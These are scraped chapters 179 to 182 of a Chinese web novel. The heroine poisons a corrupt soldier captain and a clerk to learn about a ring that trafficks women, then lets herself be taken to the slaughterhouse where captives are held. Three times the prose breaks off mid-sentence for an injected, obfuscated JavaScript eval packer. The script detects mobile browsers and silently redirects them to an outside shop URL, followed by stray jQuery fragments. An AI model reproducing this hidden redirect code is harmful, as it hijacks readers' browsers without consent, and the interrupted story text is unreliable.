“后来被打了几次,姐姐姐夫也实在拿不出钱了,那赌坊的老板就出面跟我谈了这事。他说我姐夫的驿站是最好接触女子的,赶路的行人是最不容易被人发觉失踪的。而且想要下手也是最简单的。我只要给她一个女子,他就给我二十两银子。” “二十两,你就把自己的良心给卖了!” “我也实在是没办法,我要是不这么做,他们真的会把我打死的。”伙计极力解释自己的无奈,虞初弃之以鼻。就连旁边的士兵头子都有些看不上自己的“同伙”。无奈的摇了摇头,长叹了一口气。 “你们也是赌钱赌输了?” 士兵头子心刚放下,虞初这么一问自己,刚悬下的心又吊了起来。 “不……不不……”士兵头子一紧张,连自己想说的话都不知怎么开口,除了极力否认,好像一句完整的话都不知道怎么说了。 “那是怎么联系上的,快说!”站在他旁边的青草没耐心的推了推他,他下意识的伸手护住自己嘴巴,生怕青草一不高兴又给自己来这么几下。 “我们本来就是找人,上面又说找不到人就不让我们回去。这地方,本就僻壤。兄弟们整日百无聊奈,人嘛,我们又找不到。有一天,这家伙转移姑娘的时候被我们发现了,就拦截下来了。我本想着要找的人没找到,但是截获一桩拐卖妇女的案件,起码也算上功劳一件,保不齐还会给些奖励升升官,再不济也有机会调回京城,不必再在这里寻人了。” 士兵头子将青草拦着的手轻轻推开,笑嘻嘻的解释着,“有点怕,姑娘也歇会。” 青草往旁边移了一步,这士兵头子才又继续。 “我们把人送去镇上的府衙,包括这家伙也被我们抓过去了。三日后,府衙不仅没给他定罪,反倒说我证据不足。还特意将我喊去吃了顿饭,席上明里暗里让我休要多管闲事。我那时才明白,原来他之所以敢如此明目张胆,全因后面有人撑腰。再后来就是他自己找我,说既然我已然知道他们的事情,如果我愿意跟他们合作,每月会定期给我们一百两。若是每月人数不止十人,那就会另外再多给我们一些,上不封顶。” “你本来做的好好的,为何要分他一杯羹。那样你自己的银钱不就会少一半了?” 伙计苦笑:“谁还会嫌弃银两多的。一是因为上头觉的他是京城派过来的兵,迟早是要回去的。若是拉他下水,也不用担心他回去后会乱说话。其次 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要说虞初这样的美人冲着自己笑,确实赏心悦目,沁人心脾。可士兵头子此刻却一点也笑不出来。起初他只以为是这两个姑娘会一些武功,毕竟只有两个人,还是有机会解开绳子翻身做主人,到时候再给他们好看。现在突然听见自己中了毒,立马心里凉到脚底,全无欣赏美人的心情了。 “什么毒?” “放心,也不是什么很厉害的毒。这是一个慢性的毒药,刚开始吸入身子不会察觉到很大的异常。你以为我刚刚为何要跟你们闲聊这么久,又是菜品又是找人线索的。不过是为了确保你们过来能多吸入一些毒药入体。至于刚刚那火,燃烧起来那毒性便会蔓延的更快更广,旁边那些小喽啰就也一并解决了。” “慢性毒药……”士兵头子听到不是什么剧毒,心里才放心不少。 “讲吗,那些姑娘送哪里去了?” “夫人,我们真……”话未说完,那士兵头子嗓子里突然涌出一股血腥。还没等他反应过来就满口吐了出来。他连忙看向虞初,可与此同时手又开始不听使唤的抽出起来,疼的他蜷起身子,头上直冒汗。 “怪我,我只说是慢性毒药,没告诉你,这毒药一旦开始发作,从四肢开始,筋骨俱僵。然后深入骨髓,毒性随着血液流通注入心脉,那时,就无药可救了。”说着虞初大方的掏出一个药丸扔给了士兵头子。那士兵头子早就疼的满地打滚,哪里还会追究是毒是药。捡起来就直接塞入口中,干嚼咽下。 不出片刻,这士兵头子果然就恢复了不少,除了两只手抓握不住东西,有些僵硬,别的倒也没有异常。 “多谢夫人解药。” “不过是缓解你毒性发作的,不是什么解药,不用谢!” 这话一听,士兵头子的脸瞬间煞白,面如死灰。 “好,我说!” 179. 第 179 章 伊清坊 只是这次,士兵头子还未开口,那伙计先说起话来了。 “之前我们每次送人过去,都是先将人送到凤游镇里的那个屠宰场东侧的那个仓库。我们将她们关进去,然后门外锁一把锁就可以了。那仓库南侧有两个胳膊大小的眼窗,不为通风,就是让里面的人可以看得见外面。” “看到的正是屠夫宰杀猪牛的场地?”虞初皱眉看着那伙计,见他没有否认,无奈摇头感叹他们的手段,“你们是想摧毁她们心底的防线,若是她们不配合,那猪牛便是她们的下场。最后那些被你们关进来的女子里大多数都会觉得只要能活着出去,干什么都无所谓了,是吗?” “夫人懂得挺多……”伙计抬头看着虞初,她颜色平和,眼底犀利又深邃。他心中隐约明白为何这次行动为何会失败了。 “然后呢,那些臣服后的女子就带到那个琉璃江上了?” “那不能够,上头是不可能冒然带还没调教好的女子上船的。哪怕是再漂亮的有资质的也都还要被带到伊清坊被十几个嬷嬷调教至少两月有余,最后才会挑选或缺人员带过去替换,就刚刚说的那些被富商达官带走的空缺。” “看来你们这个体系很是宏大,先是赌坊,屠宰场,然后又来个伊清坊。倒也严谨,难怪这么多那琉璃江上的船只来往愈发的多了,连个大的波浪都没有掀起过。” “确实很大,不过那些有头有脸的人也不是我们能见到的。我们这些人也就是个小喽啰,登不上台面的。我至今也就去过屠宰场,至于那个什么伊清坊我也是偶然间听见转移女子的车夫提的。后来我也有想打听过那个什么伊清坊,可是那车夫死活不说,我也就作罢了。毕竟这样的一层层关系,我们下面的人员那是知道的越少越安全。” “连你也不知道?”虞初审视着伙计,说实在的他的话虞初已经不是很相信了,毕竟短短时间里他谎话连篇。就是刚刚的一番话,她也没认为有超过八成的真话。她疑惑的转头看了一眼满嘴是血的士兵头子。见他连连点头这才说道,“想必这样大的产物链背后一定是有大人物撑腰的,你们不过是捕猎的鹰爪,不知道也正常。” “鹰爪有些难听了吧……”士兵头子看上去很不满意虞初给他们的定位,可看见青草那杀气腾腾的眼神,又不得不乖乖点头接受认下。 虞初低头思量许久,在场的无一人敢说话。他们身上中毒的迹象越发明显,见虞初拉着脸站在那边不知道想些什么,尽管心里火急火燎的想要解药,却无一人敢开口讨要。 直到那年轻伙计跟士兵头子一样,也满口吐出鲜血,这下周边的十几个士兵才开始有了动静。 “完蛋了,这个也毒发了,是不是马上就轮到我们了!” “他还被刺了一刀,会不会死啊,你看他,倒在地上,眼睛好像都直了……” “他看上去比我们头子严重多了,你看他脸色发青,怎么这样……” 虞初听到那些人低声讨论着,刚一抬头,就看见老板娘痛声大哭起来。 “夫人,求求您,快给我弟弟解药吧,求求您了。”老板娘一边哭一边往虞初这边跪爬过来,“他快撑不住了……” “这样的人,还要救吗?” 虞初此话一出,在场的都不自觉的自我审视了一番。好在他们都觉得自己与那又是赌钱又是拐人的伙计比起来,已经算不错的了。尽管这样,到底是为虎作伥过,也不敢太过声张,都小声的嘀咕着自己腿脚好像也开始没了知觉。都希望虞初能听见他们的话,但又不想做那个出头鸟。 “我可以给你们第一阶段的解药,但是你们要答应我为我做事。” “好好好……”下面回答的声音前所未有的整齐。 “都不知道是什么事情,就答应了,看来也不是什么可靠的队伍。”虞初冷笑的看着士兵头子,“你呢?” “就是不情愿我也没有别的选择,再说,我若说我诚心为您做事,夫人你也不会相信。不过你手上有我们要的解药,不用心你不给我们解药不就得了。我这队伍里我还真没发现一个有骨气不怕死的,夫人您大可放心。” “既然如此,那就将解药给他们吧。” 青草听后拿出一瓶药扔到了士兵头子手里:“你去给他们,剩下的还给我。” 虞初见那士兵头子眉毛上下动了几下,心里一下子就明白那人在想什么。 “解药也是分各个阶段的,吃多,吃少,吃乱了,都不行。错一步,七窍流血暴毙了我可不管,也没法管!” 士兵头子听完一下子就泄了气,只好将药一一给了他们。后来走到伙计旁边,士兵头子特意回头请示了一下虞初的意见。看她点头同意后,就直接给了老板三颗解药。剩下的悉数奉还给青草,收下无话。 老板娘给她弟弟喂完解药后,见他还是没有缓解的迹象,又过来求虞初大发慈悲过去看看。虞初思虑再三,走到老板娘跟前将那伙计翻身过来好好查看了一番:“他中毒不假,我刚刚那刀亦不致命。他如今这般,应该是体内还有别的毛病。” 虞初探脉之余,询问老板娘细节,正好碰上了老板闪躲的眼神。 “所幸问题不大,许是平日里没有好好顾及自己身子,这才有了些小毛病今日一起并发出来了。”虞初说完就口述了一个方子给老板娘记下,然后差她先抓药来再说。至于那一刀,虞初也常规的给伙计做好了包扎。 “老板,我这边还需要一些用料,需要你过来帮我找找。” 老板点头跟在虞初身后去了厨房。 “夫人刚刚为何要替我隐瞒?” “不为别的,你不用担心我会用这事要挟于你。我当时没有跟你夫人说明,日后也就不会再提此事了。更何况,我能理解你这么做的无奈,你不也没有狠的下心来下足了量吗?” “我们没有孩子,这个弟弟比她小很多,她是为姐似母的带了三年。他父母就这一个儿子,就是临死之前还不忘让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961342|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好照顾他,不然死也不会瞑目。这么多年,她从未受过娘家什么恩惠,就连自己活下去的那口饭也是当初她用双手自己挣来的。她好像习惯父母的偏心,甚至不觉得有什么问题。就觉得她下半生的使命就是要带弟弟长大成才,然后助他娶妻生子才好撒手。” “你不介意?” “我介意,但是她非要如此,我也就随她去了。起初顶多是花费些钱,我不觉得有什么。我也不怪她,毕竟那是她唯一的亲人了。就是他后面再输的钱我也想好了再帮他慢慢还掉就是。只要我媳妇开心,我就是有意见也吞到肚子里。可是后面他实在是太过分了,跟中了魔一样,不择手段。我发现那些失踪的姑娘跟他有关系的时候,我实在是坐不住了。我的良心告诉我不能再让他这样下去了,这样那些无辜的人只会越来越多的。” “所以你就下药?” “没错,我没有下足计量,是因为我知道若是他一下子就中毒身亡,我媳妇肯定会怀疑的。后来我就想着假装是他生了病,救治不了只能认命就是。一来我媳妇也好缓解悲伤过度饿情绪,二来也不至于让她怀疑到有人下毒,心生嫌隙。” “可是你给他下的毒是风青,那种毒药可不是你一个驿站老板能弄到的。” 虞初的怀疑并没有错,风青是由多种名贵补药加上一柱致命毒药青勺炼制而成。且不说那青勺本就难得,就那几种补药,若不是有钱,怕也难集齐。 “这药确实不是我买的,我也不知道这药的名字,所以贵不贵的确实不知。这药是一个公子给我的,只说死时不会太痛苦,我便收下了。” “谁?” 老板沉默,虞初不知道老板到底在顾虑什么,但是她有种预感,老板口中的公子,或许是她找到刘渡的线索。 “其实……其实……” “老板,但说无妨。如今里面的那些人也威胁不到你,不用担心。” “其实他们画像上的那个男子我先前见过,这药也是那个男子给我的。大概也是看不下去,又没空管这些琐事,就想让我自己解决,也好少些姑娘遭殃。那日里面的人过来想要找他,我不想惹事。加上之前我跟他接触过几次,他也不像是什么坏人,就没有多嘴说上一回。” “接触过几次?” “嗯,每年他都会去去一两趟北凉,具体去做什么我就不知道了。每次他路过我这边都会过来歇脚,一来二去就记住了。” 老板一边回想着一边看着虞初,见她刚刚还毫无波澜的脸上竟然开始不自觉有了情绪。她站着发呆,老板接连喊了她几声也没有听到。 “夫人,夫人!” “哦,怎么了?” “夫人,你跟那个男子认识?” “嗯,旧相识,只是好多年没见了,也不知道他现在怎么样了。” 虞初神情逐渐落寞,确实是很久没有见过他了。也不知道这些年他都经历了什么。这几年她是实实在在的缺席了。 180. 第 180 章 “你最后一次见他是什么时候?” “大概是两个月之前,不过那时候他没有停下歇脚,只过来讨了碗水就走了。” “就他们一个人吗?” “是,不过我当时看他状态好像不是很好,身上的衣服有几处破了,甚至还沾了些血渍。我本想问他,可一转头就只看见他丢下的水碗,再没见过了。” 老板看虞初像是有些担心这个旧相识,委婉安慰道:“不过我想他应该好了吧,若是严重,估计也没什么力气赶路,肯定会留下休息了。” 虞初微笑:“就以前见过几次,这次突然看到有官兵找他,也不知道到底发生了什么事情。不过既然老板也不清楚他的线索,只能说我们无缘再见,倒也没什么。倒是楼上……” “夫人放心,内弟是后来过来的,不知道楼上还有人,我知道什么该说什么不该说,放心!” “你倒是会做人,既然这样,他的手我先留着。像这样烂赌成性的人,我本该成全了你的心意的。可我如今留着他还有用处。” “刚刚见我媳妇哭的那样撕心裂肺,我倒是庆幸自己没能得手。” 虞初在厨房找了几圈,最后找到一捆麻绳转身出去扔给了士兵头子。 “想办法给我们送到伊清坊!” “这……这怎么……” 他之所以如此为难,倒也不是担心虞初青草二人的安慰。主要是自己的解药还在他们手里,万一他们有个好歹,那解药不也就没有下文了。 “头子,你说如果我们困住他们两个。再将解药拿回来……” 士兵头子偷偷的看了一眼虞初,然后默默的点了点头。他听话的按照虞初的吩咐给她捆了手脚,正乐呵呵的准备去捆青草时,虞初的声音在他耳边悠悠说道:“第二份解药我还没有制作,那药间隔十日才会发作,我到时候提前一两日做好给你们。” 刚得意没一分钟,士兵头子立马就僵住了笑容,上扬的嘴角尴尬的贴在脸上,很不和谐。 旁边的士兵见自己的馊主意败落,自觉的往旁边多站了一些,跟士兵头子间隔开了好几个人。生怕他头子憋在心里的火焰烧到自己的尾巴。 “可是以往都是他带我们过去的,如今他昏迷了,我一个人怕是……” “放心,顶多三刻,他就会醒了。”虞初看了一眼青草,然后继续跟士兵头子等人交代了一系列的事情。那些人估计读书时也不曾如此聚精会神的听人说话过,如今关乎自己性命,个个听得仔细极了,生怕自己岔了意,导致行动失败,自己的解药也就泡汤了。哪里还有精力去注意青草何时单跑出去,又是何时回来的。 果然如虞初所言,那伙计当真过了三刻就醒了过来。他在老板娘的搀扶下坐了起来。听到自己姐姐告诉他虞初的计划后,那伙计为难的看了一眼姐姐,然后低头不语。虞初也发现了伙计脸上的抗拒,不过她可没有心情和时间来心疼别人,只走到伙计旁边平静笑道:“我若是你,根本不会在意那头会不会为难自己,因为你若不答应我的要求,我现在就可以直接让你死在这里。” 那伙计抬眼看着眼前这个长相柔美的女子,尽管此刻她面相平和,那丝冰冷的寒意却一直蕴藏在眼底。她的头上没有过多的装饰,却也掩饰不住她出众的容貌。尽管现在她手上捆着麻绳,那几个士兵也没敢为难于她。加上姐姐一直在耳边不停的劝他识趣答应,自己犹豫再三只好点头应下。 “你这个财路,我必须要断!” 虞初见他不做声,又转身看着青草笑道:“你将她跟我一起送去,她的脾气不好,我怕她跟你们一处,哪天心情不好将匕首插错地方就不好了。” 士兵头子连忙点头,刚想过去给青草绑上,不知想到了什么又转身将绳子交给了身后的小兵:“你去,我粗鲁,别绑疼了姑娘。” 那小兵的脸顿时煞白,他不是没看见青草是如何“教训”他们头子的。如今他们头子怕挨打将这重任交到他手里,站在原地深深的吸了几口气,小心翼翼的上前赔笑道:“得罪了姑娘!” 青草见他们这一个个怂样,不禁憋笑得脸涨的通红。那小兵见她从脖子冲上头的血气,打结的手不禁抖了起来。最后一个简单的死活结硬生生打了七八次才弄好。 “等到子时就可以出发了。”小伙计换了一身新的衣裳,期间老板娘还特地去将准备羁押他们的箱车好好清理了一下,直到里面没那么难闻才停下又去给自己弟弟刚刚换下来的纱布给洗掉了,最后还是驿站老板坚持拉她坐下,这才安静下来。 子时刚到,他们几个架着箱车准备出发。不曾想到士兵头子刚出门就被几个黑衣人围住。他转身看了看那封好的箱子,感慨自己今日出门没看黄历,这才会发生一桩又一桩的糟心事情。 “把人放下,我不杀你们!” 士兵头子一听,原来是一个女人的声音。再仔细看看旁边的几个,虽个个蒙着脸,看身段应该也是女子无疑。 “就凭你们几个黄毛丫头也想教我做事?”士兵头子被虞初青草压制了一晚上,现在好不容易有人找上门来送死,正好可以出出气。 “我再说一次,把人放下!” 这声音充满了威胁,虽听着有些娇软,但不知为何,在场的所有人都下意识的看了一下士兵头子的反应。 毕竟是这帮小兵的头子,他自然不肯轻易服软,尽管他也感觉有些不对劲,还是硬着头皮往前走了两步。 “我们官兵抓人,区区小贼还想指手画脚。” 对面的几个蒙面人见这些官兵没有放人的打算,其中一个直接就拔出了剑直指着士兵头子的喉咙而去。那士兵头子还没来得及反应,转身就往箱车那边跑去。 “姑奶奶,你到底得罪了什么人,我虽想要解药,可再不将你们给她们,就她那个轻功,我估计我也是跑不掉的。 “怂货!” 青草直接从里面开出了箱盖,看得趴在箱车旁边的士兵头子两眼都直了。 “你不是被捆着的吗……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978460|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就那个玩意,困不住我!”说着青草就一脚踢开箱车门,跳了出来。 那几个蒙面女子见青草从里面出来,顿时面面相觑。 “把人交给我们!” “凭……什么!” 士兵头子蹲在青草旁边,像是立马有了一丝底气。 虞初本还好好的躺在车箱里面,见外面起了争执,也按捺不住起身看一看究竟。 “青草,这些是什么人?” 青草摇头,那士兵头子看虞初青草她们也不知对方的来历,心下不禁自我疑惑起来:“难道是冲着我们来的?” 那几个蒙面女子见虞初被捆住手脚,转头看着士兵头子恐吓道:“给她手脚松绑,要不然我立马要了你的狗命!” 这话听起来好像又不是冲着自己来的。士兵头子一头雾水的看了看虞初:“夫人,我是松绑还是不松绑啊,这怎么像是来救你的,你确定不认识?” “好像不认识……吧……”虞初虽说也觉得这几个人像是想救自己,可是脑海里立马翻腾了一遍也没想出来到底是谁。 “夫人,会不会是郡……” “不会,若是容新,定不会如此鬼鬼祟祟。她那性子,生怕我不知道是她来救我,又怎么会蒙着面。” “那是世子?” “不是,王世秦不养女兵!” 虞初接连推翻青草的猜测,就连她自己也想不出到底是谁了。 “认识你这么久,你叫什么?”虞初后知后觉的问起了士兵头子的姓名。 “姜君!” “将军?”青草噗呲一下就笑了出来,搞的士兵头子很是尴尬。 “不是将军,是生姜的姜,君子的君。姑娘笑什么,我现在虽然还只是一个小士兵头子,但保不准哪天真就人如其名了。” “那祝你如愿以偿,不过眼前这关你最好还是先想想办法。”虞初似笑非笑的看了一眼满脸茫然的姜君,还没等她缓过神来,青草袖里的匕首就朝着那人飞了过去。 当然,以那人的轻功轻易就躲了过去。那几个人见虞初帮着这些抓了他们的士兵出手,不禁也个个目瞪口呆满脸疑惑。 “你们……” “肖浅!” 虞初双脚被捆住,喊出名字时自己两脚合并往前跳了几步,“是你吗,肖浅?” 声音有些试探,但是她还是迫不及待的想去确认。 那人见虞初过来,便不再掩饰的摘下了蒙布。 站在旁边的姜君和小伙计那是看的一愣一愣的,弄了半天这两人好像认识。更没想到的是,这张黑色蒙面之下竟是这等绝色。尽管身着黑色便衣,那张如桃花一般明艳的容貌竟没有丝毫逊色,反多舔了一丝神秘。 此刻的姜君嘴巴不自觉的张开,眼睛一直不曾从那个黑衣女子身上移开过半分。本来觉得夫人的容貌已是不多见的,没想到眼前这位,一颦一动更加引人注目,还是那种不自觉的。 “虞初,是我!” 181. 第 181 章 青草刚开始还没反应过来虞初口中的肖浅是谁,见那人取下蒙布后也喜不自禁的跟着虞初一起往前去了。 “夫人,是极风娘子!”青草尽量压制着声音中的喜悦,满脸兴奋的看着虞初。 “姑娘好心,麻烦你也将我手脚上的绳子先松松。” 青草这才反应过来,原来虞初这么半天,一直像个兔子一般跳过来的。她帮虞初解绳子的时候,极风娘子提着剑就过来道:“我来!”说着极风娘子就要将这绳子砍断,虞初连忙将手护在自己身下。 “哎哎哎,不要这么粗鲁!” 极风娘子提着剑往后退了一步,一脸不解的看着虞初:“这是为何?” “说来话长,还是让青草解开吧。”极风娘子虽不知晓其中原因,但还是乖乖的听了虞初的话,站在旁边等着青草给她解绑。 虞初先是走过去跟姜君说了几句话,然后又拉着极风娘子往旁边说话去了。 “你怎么会再这里?”虞初的话虽然简单,但是极风娘子一下子就看出了她眼底的不安。 “这些年我一直按照殿下的吩咐去北凉找你,可是王世秦那个人,谨慎的很,这么多年都没有露出一次破绽,还派人时刻监视着我在北凉的一举一动。不过好在我知道你既然是被王世秦救下,那就一定是安全的。” “他一直知道我在北凉?” “其实殿下……”极风娘子刚想说话,那伙计就扯着喉咙往这里喊道:“夫人,再不去就要等下次了,快过时辰了。” 虞初听后也顾不上再问其他,立马拉着疾风娘子的手:“你们几个人?” “就我们几个,是王世秦告诉我你已经出了北凉,我就赶紧带着她们过来追你。” 虞初倒也不意外,毕竟一路上一个王世秦的人都没有看到。若是他通知了疾风娘子,那他定是想着极风娘子可以护着自己一路周全。 “我看我还是叫你肖浅吧,这样不容易露馅。那个士兵头子是刘渝派过来找殿下的,在他跟前还是谨慎一些好。” 极风娘子点点头,看着那边催促的声音不禁疑惑道:“你这到底是唱的哪出。我刚赶到这里就发现你被他们抓了起来,这又是要将你送哪里去?”疾风娘子看出虞初心急想要离开,一把抓住她的衣袖就是不肯放她走。 “哎呀,我长话短说吧,我发现这边的琉璃江有问题,我想过去查个究竟。” “你疯了,琉璃江你也要去!” “你知道琉璃江?” 极风娘子抓住虞初的手就果断想要阻止她。 “不要去,那边复杂的很,之前殿下有让我打探过那边的消息。我之前也派过两个人过去,一个在江边找到了尸体,还有一个至今没有找到。你看看你,连武功都不会,你去不就是去送死吗?” “原来你们也注意到了这个琉璃江,殿下呢,他人在何处?” 极风娘子闪躲着虞初的眼神,支支吾吾道:“我也有两个月没有联系上他了,连希白的下落都没有了。” “果然是失踪了,连你都不知道下落?” “嗯!”极风娘子失落的看着虞初,“那次他带着军队打进北凉,撤兵之前找到我,让我无论发生什么事情都要在北凉守着你。虽然我们一直不知道你在何处,可是王世秦还是会时不时送来你安好的消息给我。你知道的,我和肖成都是殿下的人,他说什么我们都不能违背。尽管我听到殿下失踪的消息后几番想去找他,可是你才是我的任务,我不能去!” “连你也不知道他的下落?”相较于刚刚遇到极风娘子的喜悦,此刻虞初的脸上尽是失落与惆怅。“他会去哪里,刘渝之所以一直都没有让这些是士兵回去,也是不相信殿下是真的遇害了。可是,若是他没事,这么久他去了哪里,怎么一点消息都没有。” “夫人,真的没有时间了……” 姜君看了看时辰,确实没有功夫再等下去了,也跟着伙计一起催促起来。 “肖浅,你先回去,我还是要去查一查那个琉璃江。你放心,我虽然不会武功,但是我会用毒。若真的遇到危险,我也不会傻到跟那些人死磕,找到机会就会出来的。” “那若是你执意要去,我陪你去。你知道的,我的任务就是找到你,其次就是你的安全了。” “可是……” “我的武功可比青草好多了,我看你还是让青草在这,换我跟你去。” “那你一起来的那几个……” “我等会交代些她们一些事情,一个还回去等殿下的消息,若是殿下想要联系到我,就一定还会去原来的地方找我。剩下的就让她们跟青草一起留在这里接应我们,若是有个什么突发事情,她们人多也多谢些帮手。” 虞初看着催促的两个人,想到风川和影儿虽有驿站老板照料,可毕竟不是自己人,谈不上信任与否。就答应了极风娘子的提议,让青草回去守着风川,换成极风娘子和自己过去。 青草听了虞初和极风娘子二人新的提议,她知道极风娘子的武功在自己之上,虽心里担心虞初,可她更知道,若是她留下来照顾风川,那么虞初就没有后顾之忧,更不易分心。也就听话照应了一番,道了别先回去了。 至于姜君虽对于换人有些疑问,但是碍于后来的这个好像功夫更好些,也不敢多问,照做就是。将她们二人困在马车那个大木箱里又往屠宰场赶去了。 很快他们就来到了屠宰场。小伙计只身上前不知跟屠宰场老板交涉些什么,反正再回来的时候那屠宰场的大门就已经打开了。随后伙计和姜君二人将木箱子抬进去打开给一个满脸横肉的长相魁梧的男子验收。 箱子打开,那魁梧男子看着晕在箱里的二人眼睛都直了:“今日的这两个是真不错,我看能卖个很不错的价格。是处子吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993294|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “下午在客栈的时候,听说二人是姐妹,都还未许人家,这等绝色美人,绝对的好货。”姜君边笑边盖上箱盖,“您也瞧见了,如此沉鱼落雁容貌的女子,还是两个。大哥你看这次价格能不能加些?” “你敢坐地涨价?”那魁梧男人脸上的横肉上下抖动,眼睛恶狠狠的顶着姜君,握着刀柄的手来回的晃动了两下。姜君见男子有些恼怒立马软下语气商量道:“我们这次真是费了不少劲才弄到这两个绝色,大哥您也体恤一下,就当给我们哥俩多拿些辛苦费。” 男人看了看箱子里的女子,忍不住上手在虞初脸上摸了一下:“确实是绝色,行吧,这次这两个交上去,我想上面会很满意。我就做主,多给你们各十两银子。” 姜君和伙计点头谢恩,拿到银子后满意的丢下箱子就离开了。直到屠宰场关上了大门,二人才怯怯的看了看彼此,拉着空的箱子和马回去了。 “夫人可别出事,不然我们小命不保。” 姜君还是担心虞初她们不能全身而退,一夜辗转反侧又毫无办法。 别的地方不知道,但是这屠宰场确实是对于长得好看的人有些优待的。不同别的女子一样,过来就直接扔进房间,等上一会若是还不醒,屠宰场的人就会直接一盆凉水给她们泼醒。可是这次没有,只是让旁边几个听话的女子看见她们醒过来后叫他们。 那几个女子不敢违命,蹲围在虞初和极风娘子周围,十几双眼睛一直看着她们。虞初本想对装一会,毕竟这药效也不至于这么快就没了。可是尽管她闭着眼睛,还是能隐约感受到周围人的“热情”,只过了一个时辰就睁了眼。好在演技还算可以,一副惊恐失措的样子,看的周围不管男子还是女子都有些怜惜起来。极风娘子常年混迹于这些逢场作戏的场子,今日的这等场景于她而言并无难处,倒是看着虞初那可怜兮兮的模样,有些觉得好笑。 当然,虞初和极风娘子后面还不免演了一场求那些人放她们回家的戏码,闹到天明没了力气才罢休依躺在墙角。 精疲力尽后一个只有十五六岁的小姑娘蹲在虞初跟前小心的拉着她的衣角:“姐姐,别闹了,就会有饭吃也不会挨打。” 虞初睁开眼睛看着眼前这个小姑娘,看着她消瘦的脸蛋上泥斑点点,头发蓬在头顶,应该是有好长一阵没有梳过头发了。她的嘴角破了皮,眉骨处还有一处发青快好的紫斑。虞初话到嘴边,又深吸了口气忍了下去。静静的坐在角落,对于小丫头的劝诫并不理会。那小姑娘见虞初不理她又转头去劝极风娘子,见她依旧对自己不理睬,只好又独自退回去缩在墙角的另一处空地睡下了。 “你现在怎么劝她们都没用,路是自己走的,这事情遭遇也得自己想通。” 旁边一个眉眼清秀,清瘦高挑的女子安慰着小姑娘。那小姑娘听着这女子的话自己反倒是先叹了口气,闭上眼睛任由眼角的泪水往下掉落。 182. 第 182 章 “都起来了,都起来。把你们的头发都整理好,等一会会有人来挑你们。挑上了你们就可以先离开这里了。” 听到外面男子的话,里面的这些女子都开始整理起自己衣服头发,就连刚刚劝过虞初的那个小姑娘也跟着一起整理起自己的衣服。 虞初和极风娘子团在一处,二人呆呆的坐在那边,头发散乱,一脸疲惫。那屠夫带着一个长得斯文儒雅的男子先行进来,随便挑选了几个女子带了出去。剩下的又垂头散气的回来排在虞初旁边坐下。 “哎,不知下一次是什么时候。”其中一个一脸的丧气,眼底藏尽绝望。 “你在这多久了?” 那女子正好坐在虞初旁边,听见虞初说话先是瞥了她一眼,然后又看了一眼在旁边满脸无所谓的姑娘。 “刚刚看你们坐在这也不动,以为你们真不在意,原来你们是不知道其中的缘故。” “那些女孩子被带走去哪里了?” “不管去哪里都比在这里好,你看看这地上,比旁边那猪圈好一些的就是没有那些恶臭猪粪。再看看这些姑娘,最好的就你们两个了,旁的怕是有半月有余没有洗过澡了。我现在自己闻到自己的头发上的馊臭味都想吐。这个地方我是一天都不想待了。” “你们都不知道带他们会带你们去哪里,万一不是什么好地方呢?”虞初说的很委婉,她往前伸了脖子看了看这女子的脸。尽管脸上不施粉黛,依旧能看出是个长相清秀的姑娘。 “你觉的还有什么地方不如这里的。我知道你心里想什么,还真有几个刚烈的,不过你看,那屠刀,都是沾过她们的血的。”那女子见虞初不说话,又坐直一些转头看着虞初,“你可别犯傻了,你想的那些我们都有试过,没用的。” “姑娘你是怎么被抓过来的?” 虞初看着满屋子的女子,再联合昨晚姜君说的话。就算是他们三四天送一两个姑娘过来这里,那也不至于能有这么多的人。放眼看来这小屋挤了大概有三十几个,还不谈刚刚被带走的几个。 “我是家里欠的钱太多了,我养父实在没有办法把我卖了抵债的。” 她好像习惯了自己的遭遇,说到自己过来这里缘由之时,还不忘自嘲笑了两声。 “我没有什么牵挂,我现在只想离开这里。其实我也不觉得这是一件坏事,以前在家里,我娘动不动就骂我赔钱货,家里大大小小的事情全是我做。可是尽管如此她还是不满意。至于我那个养父,说好听些我要叫他一声爹,说难听点他根本就不是个人。在家里有人没人的时候就对我动手动脚的,后来见我反抗的厉害,不给他动手的机会,索性直接给我卖了。” “那你娘……” “他们两还有个小儿子,我养父卖我的时候我娘就在旁边。” 起初这姑娘谈及此事时风轻云淡的,在说到她娘的时候,她还是没忍住两颊全是泪水。大概是不甘,或是委屈,再或是恨吧。虞初愣愣的坐在旁边一声不吭,她怎么也想不到,一个母亲既然会这么对待自己姑娘。在她的认知里,尽管以前听过不少此类事情,真发生在自己眼前,她还是理解不了。 极风娘子拍了拍虞初,示意她让开一些,自己坐到那个女子旁边。她拎着虞初的裙摆往旁边放过去,倚着那姑娘坐下。 “你叫什么?” 